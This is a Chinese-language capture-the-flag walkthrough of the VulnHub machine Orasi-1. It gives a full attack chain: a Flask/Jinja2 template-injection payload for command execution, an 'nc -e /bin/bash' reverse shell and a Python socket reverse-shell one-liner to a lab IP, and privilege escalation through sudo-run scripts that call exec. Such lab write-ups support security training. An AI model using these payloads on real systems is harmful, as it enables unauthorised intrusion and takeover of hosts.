下载地址:http://www.vulnhub.com/entry/orasi-1,660/
Hint :just one useless little dot
0x01 信息收集到获取shell
端口扫描:
使用anonymous访问ftp,获取到一个文件:url
。该文件为一个共享连接库。先看看main
函数:
于是将insert中的每一个字符转换为acsii码,得到一串字符/sh4d0w$s
,看起来像是url。
访问80端口,得到一串奇怪的字符,看着有点像口令字典工具crunch
的参数,等一下还有用。
浏览器访问5000端口,提示url无法解析。
可以看到server是flask,基于python3.7.3,到这里很多人应该会想到页面可能存在模板注入漏洞
了。利用上面获取的url地址重新访问,提示没有输入,看来是需要参数。
利用访问80端口得到的信
息,使用crunch生成字典去爆破参数。
kali@kali:~/test$ crunch 6 6 1337leet > test.txt
Crunch will now generate the following amount of data: 326592 bytes
Crunch will now generate the following number of lines: 46656
最终得到正确的请求参数l333tt
。参考flask/jinja2模板注入,我们成功访问urlhttp://192.168.56.158:5000/sh4d0w$s?l333tt={{%22%22.__class__.__mro__[-1].__subclasses__()[183].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27whoami%27).read()%22)}}
实现了命令执行。
直接nc -e /bin/bash 192.168.56.103 8080
获取shell。
0x02 提权
查看sudo -l
查看jail.php
可以看到,exec存在命令执行,但是限制了一些函数的使用。这里直接使用python重新反弹一个用户kori
的shell,进入python后使用import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
。
继续sudo -l
可以通过拷贝
irida
用户下的apk文件。拷贝之前需要现在用户kori
目录下创建同名的apk文件并赋予其它用户写权限。
nc上传到本地进行反编译,查找敏感信息,搜索irida
,找到用户密码,需要注意的是密码进行了一下简单的变化protector
,实际上为eye.of.the.tiger.()
。
这里还有一个脑洞,还好作者给了一个提示:just one useless little dot,也就是说上面的字符串需要去掉一个点,经过测试,irida的实际用户密码为eye.of.the.tiger()
。
利用ssh登陆,继续查看sudo -l
,可以以root用户执行oras.py
。
直接执行,随便输入一些东西,从错误中获取到了代码信息。
很明显是内嵌exec执行代码,将import os;os.system("/bin/bash -i");
进行hex编码后输入,成功获取root权限。